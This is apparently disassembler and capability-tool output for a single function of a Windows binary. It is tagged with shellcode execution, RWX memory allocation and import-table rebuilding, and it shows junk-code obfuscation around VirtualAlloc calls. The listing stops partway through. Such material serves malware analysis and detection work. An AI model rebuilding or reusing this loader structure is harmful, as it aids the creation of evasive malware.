Function at 0x401880
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Rebuild import table
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x7e8
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffffa
jge 0x4018c4
mov eax, dword [0x44122c]
lea ecx, [0x43764c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x7e0], eax
mov eax, dword [0x44122c]
add eax, 3
mov dword [esp + 0x7dc], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x7d8], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x7d4], eax
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x7d0], eax
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x7cc], eax
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x7c8], eax
mov eax, dword [esp + 0x7c8]
imul eax, dword [esp + 0x7d8]
mov dword [esp + 0x7e0], eax
mov eax, dword [esp + 0x7cc]
imul eax, dword [esp + 0x7cc]
mov dword [esp + 0x7d8], eax
mov eax, dword [esp + 0x7d0]
cmp eax, dword [esp + 0x7d0]
jg 0x401982
mov eax, dword [esp + 0x7d0]
add eax, dword [esp + 0x7cc]
mov dword [esp + 0x7e0], eax
mov eax, dword [esp + 0x7dc]
cmp eax, dword [esp + 0x7dc]
jg 0x4019ab
mov eax, dword [esp + 0x7d8]
add eax, dword [esp + 0x7d8]
mov dword [esp + 0x7c8], eax
mov eax, dword [esp + 0x7d0]
cmp eax, dword [esp + 0x7c8]
jl 0x4019d4
mov eax, dword [esp + 0x7d0]
add eax, dword [esp + 0x7dc]
mov dword [esp + 0x7c8], eax
mov eax, dword [esp + 0x7cc]
imul eax, dword [esp + 0x7dc]
mov dword [esp + 0x7e0], eax
mov eax, dword [esp + 0x7c8]
imul eax, dword [esp + 0x7d0]
mov dword [esp + 0x7dc], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x7e0]
add eax, dword [esp + 0x7dc]
add eax, dword [esp + 0x7d8]
add eax, dword [esp + 0x7d4]
add eax, dword [esp + 0x7d0]
add eax, dword [esp + 0x7cc]
add eax, dword [esp + 0x7c8]
mov dword [0x44122c], eax
mov eax, dword [str.efclppfkkk]
mov dword [esp + 0x7bd], eax
mov eax, dword [0x437653]
mov dword [esp + 0x7c1], eax
mov ax, word [0x437657]
mov word [esp + 0x7c5], ax
mov al, byte [0x437659]
mov byte [esp + 0x7c7], al
lea ecx, [esp + 0x7bd]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.suprf
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x401aa4
mov eax, dword [0x44122c]
lea ecx, str.suprf___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x43766a]
mov dword [esp + 0x7b4], eax
mov eax, dword [0x43766e]
mov dword [esp + 0x7b8], eax
mov al, byte [0x437672]
mov byte [esp + 0x7bc], al
lea ecx, [esp + 0x7b4]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.lgjrsuytv
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x401aff
mov eax, dword [0x44122c]
lea ecx, str.lgjrsuytv___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.ycqawrtshc]
mov dword [esp + 0x7a9], eax
mov eax, dword [0x43768f]
mov dword [esp + 0x7ad], eax
mov ax, word [0x437693]
mov word [esp + 0x7b1], ax
mov al, byte [0x437695]
mov byte [esp + 0x7b3], al
lea ecx, [esp + 0x7a9]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.bgqkemdh
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x401b68
mov eax, dword [0x44122c]
lea ecx, str.bgqkemdh___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.fhddczdn]
mov dword [esp + 0x7a0], eax
mov eax, dword [0x4376b0]
mov dword [esp + 0x7a4], eax
mov al, byte [0x4376b4]
mov byte [esp + 0x7a8], al
lea ecx, [esp + 0x7a0]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.nufdypy
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x401bc3
mov eax, dword [0x44122c]
lea ecx, str.nufdypy___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.ntewezz]
mov dword [esp + 0x798], eax
mov eax, dword [0x4376cd]
mov dword [esp + 0x79c], eax
lea ecx, [esp + 0x798]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.rnvrr
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x401c12
mov eax, dword [0x44122c]
lea ecx, str.rnvrr___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffffb
jg 0x401c30
mov eax, dword [0x44122c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
sub esp, 4
call fcn.00401510
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffffb
jg 0x401c76
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x794], eax
mov eax, dword [0x44122c]
add eax, 9
mov dword [esp + 0x790], eax
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x78c], eax
mov eax, dword [0x44122c]
add eax, 9
mov dword [esp + 0x788], eax
mov eax, dword [0x44122c]
add eax, 5
mov dword [esp + 0x784], eax
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x780], eax
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x77c], eax
mov eax, dword [esp + 0x790]
imul eax, dword [esp + 0x788]
mov dword [esp + 0x77c], eax
mov eax, dword [esp + 0x77c]
cmp eax, dword [esp + 0x780]
jg 0x401d1e
mov eax, dword [esp + 0x790]
add eax, dword [esp + 0x790]
mov dword [esp + 0x790], eax
mov eax, dword [esp + 0x794]
cmp eax, dword [esp + 0x788]
jg 0x401d47
mov eax, dword [esp + 0x794]
add eax, dword [esp + 0x784]
mov dword [esp + 0x780], eax
mov eax, dword [esp + 0x78c]
cmp eax, dword [esp + 0x790]
jg 0x401d70
mov eax, dword [esp + 0x788]
add eax, dword [esp + 0x788]
mov dword [esp + 0x790], eax
mov eax, dword [esp + 0x790]
imul eax, dword [esp + 0x77c]
mov dword [esp + 0x784], eax
mov eax, dword [esp + 0x780]
imul eax, dword [esp + 0x788]
mov dword [esp + 0x794], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x794]
add eax, dword [esp + 0x790]
add eax, dword [esp + 0x78c]
add eax, dword [esp + 0x788]
add eax, dword [esp + 0x784]
add eax, dword [esp + 0x780]
add eax, dword [esp + 0x77c]
mov dword [0x44122c], eax
mov eax, dword [str.opznyubcm]
mov dword [esp + 0x772], eax
mov eax, dword [0x4376e5]
mov dword [esp + 0x776], eax
mov ax, word [0x4376e9]
mov word [esp + 0x77a], ax
lea ecx, [esp + 0x772]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.afnavcekd
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x401e34
mov eax, dword [0x44122c]
lea ecx, str.afnavcekd___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffffe
jg 0x401e52
mov eax, dword [0x44122c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
sub esp, 4
mov dword [esp + 0x76c], 0
mov dword [esp + 0x764], 0
mov dword [esp + 0x760], 0
mov ecx, dword [esp + 0x760]
mov eax, dword [esp + 0x764]
mov edx, dword [ebp + 0xc]
sub ecx, edx
sbb eax, 0
jge 0x401edf
jmp 0x401e94
mov eax, dword [ebp + 8]
mov ecx, dword [esp + 0x760]
movsx eax, byte [eax + ecx]
imul eax, ecx
mov edx, dword [esp + 0x76c]
mov ecx, 0xaaaaaaab
mulx ecx, ecx, ecx
shr ecx, 1
add eax, ecx
mov dword [esp + 0x76c], eax
mov eax, dword [esp + 0x764]
add dword [esp + 0x760], 1
adc eax, 0
mov dword [esp + 0x764], eax
jmp 0x401e73
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffffa
jg 0x401f20
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 2
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x75c], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x758], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x754], eax
mov eax, dword [0x44122c]
add eax, 8
mov dword [esp + 0x750], eax
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x74c], eax
mov eax, dword [0x44122c]
add eax, 5
mov dword [esp + 0x748], eax
mov eax, dword [0x44122c]
add eax, 3
mov dword [esp + 0x744], eax
mov eax, dword [esp + 0x750]
cmp eax, dword [esp + 0x75c]
jg 0x401fb2
mov eax, dword [esp + 0x758]
add eax, dword [esp + 0x750]
mov dword [esp + 0x744], eax
mov eax, dword [esp + 0x74c]
imul eax, dword [esp + 0x748]
mov dword [esp + 0x748], eax
mov eax, dword [esp + 0x750]
imul eax, dword [esp + 0x744]
mov dword [esp + 0x744], eax
mov eax, dword [esp + 0x748]
imul eax, dword [esp + 0x744]
mov dword [esp + 0x758], eax
mov eax, dword [esp + 0x748]
cmp eax, dword [esp + 0x758]
jl 0x40201d
mov eax, dword [esp + 0x750]
add eax, dword [esp + 0x758]
mov dword [esp + 0x750], eax
mov eax, dword [esp + 0x750]
cmp eax, dword [esp + 0x748]
jg 0x402046
mov eax, dword [esp + 0x754]
add eax, dword [esp + 0x748]
mov dword [esp + 0x750], eax
mov eax, dword [esp + 0x75c]
cmp eax, dword [esp + 0x754]
jg 0x40206f
mov eax, dword [esp + 0x758]
add eax, dword [esp + 0x754]
mov dword [esp + 0x75c], eax
mov eax, dword [esp + 0x758]
cmp eax, dword [esp + 0x74c]
jl 0x402098
mov eax, dword [esp + 0x75c]
add eax, dword [esp + 0x75c]
mov dword [esp + 0x74c], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x75c]
add eax, dword [esp + 0x758]
add eax, dword [esp + 0x754]
add eax, dword [esp + 0x750]
add eax, dword [esp + 0x74c]
add eax, dword [esp + 0x748]
add eax, dword [esp + 0x744]
mov dword [0x44122c], eax
mov eax, dword [str.xtcao]
mov dword [esp + 0x73e], eax
mov ax, word [0x437707]
mov word [esp + 0x742], ax
lea ecx, [esp + 0x73e]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.onvyving
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402124
mov eax, dword [0x44122c]
lea ecx, str.onvyving___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x43771f]
mov dword [esp + 0x734], eax
mov eax, dword [0x437723]
mov dword [esp + 0x738], eax
mov ax, word [0x437727]
mov word [esp + 0x73c], ax
lea ecx, [esp + 0x734]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.vkezfmok
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402181
mov eax, dword [0x44122c]
lea ecx, str.vkezfmok___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.igtzgry]
mov dword [esp + 0x72c], eax
mov eax, dword [0x437743]
mov dword [esp + 0x730], eax
lea ecx, [esp + 0x72c]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.zixxzqpqeu
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4021d0
mov eax, dword [0x44122c]
lea ecx, str.zixxzqpqeu___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.lqzomyqch]
mov dword [esp + 0x722], eax
mov eax, dword [0x437765]
mov dword [esp + 0x726], eax
mov ax, word [0x437769]
mov word [esp + 0x72a], ax
lea ecx, [esp + 0x722]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.ytqnh
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x40222d
mov eax, dword [0x44122c]
lea ecx, str.ytqnh___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x43777b]
mov dword [esp + 0x719], eax
mov eax, dword [0x43777f]
mov dword [esp + 0x71d], eax
mov al, byte [0x437783]
mov byte [esp + 0x721], al
lea ecx, [esp + 0x719]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.ionod
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402288
mov eax, dword [0x44122c]
lea ecx, str.ionod___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffffd
jg 0x4022bf
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 8
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov eax, dword [0x44122c]
add eax, 3
mov dword [esp + 0x75c], eax
mov eax, dword [0x44122c]
add eax, 0xa
mov dword [esp + 0x758], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x754], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x750], eax
mov eax, dword [0x44122c]
add eax, 4
mov dword [esp + 0x74c], eax
mov eax, dword [0x44122c]
add eax, 8
mov dword [esp + 0x748], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x744], eax
mov eax, dword [esp + 0x750]
cmp eax, dword [esp + 0x744]
jg 0x402351
mov eax, dword [esp + 0x754]
add eax, dword [esp + 0x750]
mov dword [esp + 0x758], eax
mov eax, dword [esp + 0x75c]
imul eax, dword [esp + 0x744]
mov dword [esp + 0x750], eax
mov eax, dword [esp + 0x744]
imul eax, dword [esp + 0x74c]
mov dword [esp + 0x754], eax
mov eax, dword [esp + 0x74c]
imul eax, dword [esp + 0x74c]
mov dword [esp + 0x748], eax
mov eax, dword [esp + 0x750]
cmp eax, dword [esp + 0x744]
jl 0x4023bc
mov eax, dword [esp + 0x75c]
add eax, dword [esp + 0x758]
mov dword [esp + 0x748], eax
mov eax, dword [esp + 0x74c]
cmp eax, dword [esp + 0x748]
jg 0x4023e5
mov eax, dword [esp + 0x750]
add eax, dword [esp + 0x758]
mov dword [esp + 0x75c], eax
mov eax, dword [esp + 0x748]
imul eax, dword [esp + 0x75c]
mov dword [esp + 0x74c], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x75c]
add eax, dword [esp + 0x758]
add eax, dword [esp + 0x754]
add eax, dword [esp + 0x750]
add eax, dword [esp + 0x74c]
add eax, dword [esp + 0x748]
add eax, dword [esp + 0x744]
mov dword [0x44122c], eax
mov eax, dword [0x437794]
mov dword [esp + 0x710], eax
mov eax, dword [0x437798]
mov dword [esp + 0x714], eax
mov al, byte [0x43779c]
mov byte [esp + 0x718], al
lea ecx, [esp + 0x710]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.oktprb
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402491
mov eax, dword [0x44122c]
lea ecx, str.oktprb___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x4377af]
mov dword [esp + 0x706], eax
mov eax, dword [0x4377b3]
mov dword [esp + 0x70a], eax
mov ax, word [0x4377b7]
mov word [esp + 0x70e], ax
lea ecx, [esp + 0x706]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.rpudaoyz
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4024ee
mov eax, dword [0x44122c]
lea ecx, str.rpudaoyz___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.fdxpuuxht]
mov dword [esp + 0x6fc], eax
mov eax, dword [0x4377d3]
mov dword [esp + 0x700], eax
mov ax, word [0x4377d7]
mov word [esp + 0x704], ax
lea ecx, [esp + 0x6fc]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.vtakc
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x40254b
mov eax, dword [0x44122c]
lea ecx, str.vtakc___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.irkajgwd]
mov dword [esp + 0x6f3], eax
mov eax, dword [0x4377ed]
mov dword [esp + 0x6f7], eax
mov al, byte [0x4377f1]
mov byte [esp + 0x6fb], al
lea ecx, [esp + 0x6f3]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.wcngvujsg
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4025a6
mov eax, dword [0x44122c]
lea ecx, str.wcngvujsg___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffffd
jg 0x4025c4
mov eax, dword [0x44122c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
sub esp, 4
mov dword [esp + 0x6ec], 0
mov dword [esp + 0x6e8], 0
mov dword [esp + 0x6e4], 0
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffffb
jge 0x402613
mov eax, dword [0x44122c]
lea ecx, [0x43764c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x6e0], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x6dc], eax
mov eax, dword [0x44122c]
add eax, 7
mov dword [esp + 0x6d8], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x6d4], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x6d0], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x6cc], eax
mov eax, dword [0x44122c]
add eax, 8
mov dword [esp + 0x6c8], eax
mov eax, dword [esp + 0x6e0]
imul eax, dword [esp + 0x6cc]
mov dword [esp + 0x6c8], eax
mov eax, dword [esp + 0x6d8]
cmp eax, dword [esp + 0x6c8]
jl 0x4026bb
mov eax, dword [esp + 0x6d4]
add eax, dword [esp + 0x6e0]
mov dword [esp + 0x6e0], eax
mov eax, dword [esp + 0x6d0]
cmp eax, dword [esp + 0x6d8]
jg 0x4026e4
mov eax, dword [esp + 0x6c8]
add eax, dword [esp + 0x6e0]
mov dword [esp + 0x6d8], eax
mov eax, dword [esp + 0x6cc]
cmp eax, dword [esp + 0x6d4]
jg 0x40270d
mov eax, dword [esp + 0x6d0]
add eax, dword [esp + 0x6d8]
mov dword [esp + 0x6e0], eax
mov eax, dword [esp + 0x6d4]
imul eax, dword [esp + 0x6cc]
mov dword [esp + 0x6cc], eax
mov eax, dword [esp + 0x6d4]
cmp eax, dword [esp + 0x6e0]
jg 0x40274c
mov eax, dword [esp + 0x6cc]
add eax, dword [esp + 0x6cc]
mov dword [esp + 0x6d8], eax
mov eax, dword [esp + 0x6c8]
cmp eax, dword [esp + 0x6dc]
jg 0x402775
mov eax, dword [esp + 0x6e0]
add eax, dword [esp + 0x6e0]
mov dword [esp + 0x6d4], eax
mov eax, dword [esp + 0x6d4]
cmp eax, dword [esp + 0x6cc]
jl 0x40279e
mov eax, dword [esp + 0x6d4]
add eax, dword [esp + 0x6cc]
mov dword [esp + 0x6d0], eax
mov eax, dword [esp + 0x6e0]
imul eax, dword [esp + 0x6d0]
mov dword [esp + 0x6cc], eax
mov eax, dword [esp + 0x6d4]
cmp eax, dword [esp + 0x6d4]
jg 0x4027dd
mov eax, dword [esp + 0x6c8]
add eax, dword [esp + 0x6e0]
mov dword [esp + 0x6cc], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x6e0]
add eax, dword [esp + 0x6dc]
add eax, dword [esp + 0x6d8]
add eax, dword [esp + 0x6d4]
add eax, dword [esp + 0x6d0]
add eax, dword [esp + 0x6cc]
add eax, dword [esp + 0x6c8]
mov dword [0x44122c], eax
mov eax, dword [str.otfsmoby]
mov dword [esp + 0x6bf], eax
mov eax, dword [0x43780e]
mov dword [esp + 0x6c3], eax
mov al, byte [0x437812]
mov byte [esp + 0x6c7], al
lea ecx, [esp + 0x6bf]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.umgni
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402873
mov eax, dword [0x44122c]
lea ecx, str.umgni___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.ljhgviwgi]
mov dword [esp + 0x6b5], eax
mov eax, dword [0x437827]
mov dword [esp + 0x6b9], eax
mov ax, word [0x43782b]
mov word [esp + 0x6bd], ax
lea ecx, [esp + 0x6b5]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.otpgyaf
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4028d0
mov eax, dword [0x44122c]
lea ecx, str.otpgyaf___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x437841]
mov dword [esp + 0x6aa], eax
mov eax, dword [0x437845]
mov dword [esp + 0x6ae], eax
mov ax, word [0x437849]
mov word [esp + 0x6b2], ax
mov al, byte [0x43784b]
mov byte [esp + 0x6b4], al
lea ecx, [esp + 0x6aa]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.dpeuhlphe
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402939
mov eax, dword [0x44122c]
lea ecx, str.dpeuhlphe___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.ktwkkwuqsy]
mov dword [esp + 0x69f], eax
mov eax, dword [0x437868]
mov dword [esp + 0x6a3], eax
mov ax, word [0x43786c]
mov word [esp + 0x6a7], ax
mov al, byte [0x43786e]
mov byte [esp + 0x6a9], al
lea ecx, [esp + 0x69f]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.zyhrmwxdp
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4029a2
mov eax, dword [0x44122c]
lea ecx, str.zyhrmwxdp___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.qqtqtsgzb]
mov dword [esp + 0x695], eax
mov eax, dword [0x43788b]
mov dword [esp + 0x699], eax
mov ax, word [0x43788f]
mov word [esp + 0x69d], ax
lea ecx, [esp + 0x695]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.jxtbtdvd
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x4029ff
mov eax, dword [0x44122c]
lea ecx, str.jxtbtdvd___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xffffffff
jg 0x402a1d
mov eax, dword [0x44122c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00401750
mov dword [esp + 0x690], eax
cmp dword [esp + 0x690], 0
jne 0x402e33
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffffe
jge 0x402a6b
mov eax, dword [0x44122c]
lea ecx, [0x43764c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x68c], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x688], eax
mov eax, dword [0x44122c]
add eax, 6
mov dword [esp + 0x684], eax
mov eax, dword [0x44122c]
add eax, 2
mov dword [esp + 0x680], eax
mov eax, dword [0x44122c]
add eax, 3
mov dword [esp + 0x67c], eax
mov eax, dword [0x44122c]
add eax, 1
mov dword [esp + 0x678], eax
mov eax, dword [0x44122c]
add eax, 9
mov dword [esp + 0x674], eax
mov eax, dword [esp + 0x680]
imul eax, dword [esp + 0x680]
mov dword [esp + 0x678], eax
mov eax, dword [esp + 0x680]
imul eax, dword [esp + 0x684]
mov dword [esp + 0x684], eax
mov eax, dword [esp + 0x688]
imul eax, dword [esp + 0x684]
mov dword [esp + 0x684], eax
mov eax, dword [esp + 0x680]
cmp eax, dword [esp + 0x674]
jg 0x402b3f
mov eax, dword [esp + 0x688]
add eax, dword [esp + 0x688]
mov dword [esp + 0x678], eax
mov eax, dword [esp + 0x680]
cmp eax, dword [esp + 0x67c]
jg 0x402b68
mov eax, dword [esp + 0x674]
add eax, dword [esp + 0x680]
mov dword [esp + 0x688], eax
mov eax, dword [esp + 0x67c]
cmp eax, dword [esp + 0x67c]
jg 0x402b91
mov eax, dword [esp + 0x674]
add eax, dword [esp + 0x678]
mov dword [esp + 0x674], eax
mov eax, dword [esp + 0x684]
cmp eax, dword [esp + 0x678]
jl 0x402bba
mov eax, dword [esp + 0x688]
add eax, dword [esp + 0x68c]
mov dword [esp + 0x678], eax
mov eax, dword [esp + 0x674]
cmp eax, dword [esp + 0x684]
jl 0x402be3
mov eax, dword [esp + 0x674]
add eax, dword [esp + 0x68c]
mov dword [esp + 0x68c], eax
mov eax, dword [0x44122c]
add eax, dword [esp + 0x68c]
add eax, dword [esp + 0x688]
add eax, dword [esp + 0x684]
add eax, dword [esp + 0x680]
add eax, dword [esp + 0x67c]
add eax, dword [esp + 0x678]
add eax, dword [esp + 0x674]
mov dword [0x44122c], eax
mov eax, dword [str.okeftb]
mov dword [esp + 0x66d], eax
mov ax, word [0x4378ab]
mov word [esp + 0x671], ax
mov al, byte [0x4378ad]
mov byte [esp + 0x673], al
lea ecx, [esp + 0x66d]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.gkkzly
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402c7b
mov eax, dword [0x44122c]
lea ecx, str.gkkzly___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [0x4378c0]
mov dword [esp + 0x666], eax
mov ax, word [0x4378c4]
mov word [esp + 0x66a], ax
mov al, byte [0x4378c6]
mov byte [esp + 0x66c], al
lea ecx, [esp + 0x666]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.xdtusfx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402cd8
mov eax, dword [0x44122c]
lea ecx, str.xdtusfx___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.nemiju]
mov dword [esp + 0x65f], eax
mov ax, word [0x4378df]
mov word [esp + 0x663], ax
mov al, byte [0x4378e1]
mov byte [esp + 0x665], al
lea ecx, [esp + 0x65f]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.rdqqdyzofr
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402d35
mov eax, dword [0x44122c]
lea ecx, str.rdqqdyzofr___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.zptgxpeife]
mov dword [esp + 0x654], eax
mov eax, dword [0x437900]
mov dword [esp + 0x658], eax
mov ax, word [0x437904]
mov word [esp + 0x65c], ax
mov al, byte [0x437906]
mov byte [esp + 0x65e], al
lea ecx, [esp + 0x654]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.qegfn
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402d9e
mov eax, dword [0x44122c]
lea ecx, str.qegfn___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
mov eax, dword [str.tfceyxejri]
mov dword [esp + 0x649], eax
mov eax, dword [0x43791b]
mov dword [esp + 0x64d], eax
mov ax, word [0x43791f]
mov word [esp + 0x651], ax
mov al, byte [0x437921]
mov byte [esp + 0x653], al
lea ecx, [esp + 0x649]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.mtsjp
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
cmp eax, 0
jne 0x402e07
mov eax, dword [0x44122c]
lea ecx, str.mtsjp___d
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040d140
cmp dword [0x44122c], 0xfffffffe
jg 0x402e25
mov eax, dword [0x44122c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
sub esp, 4
xor eax, eax
mov dword [esp], 0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov dword [0x44122c], 0
cmp dword [0x44122c], 0xfffffffd
jg 0x402e74
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 9
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
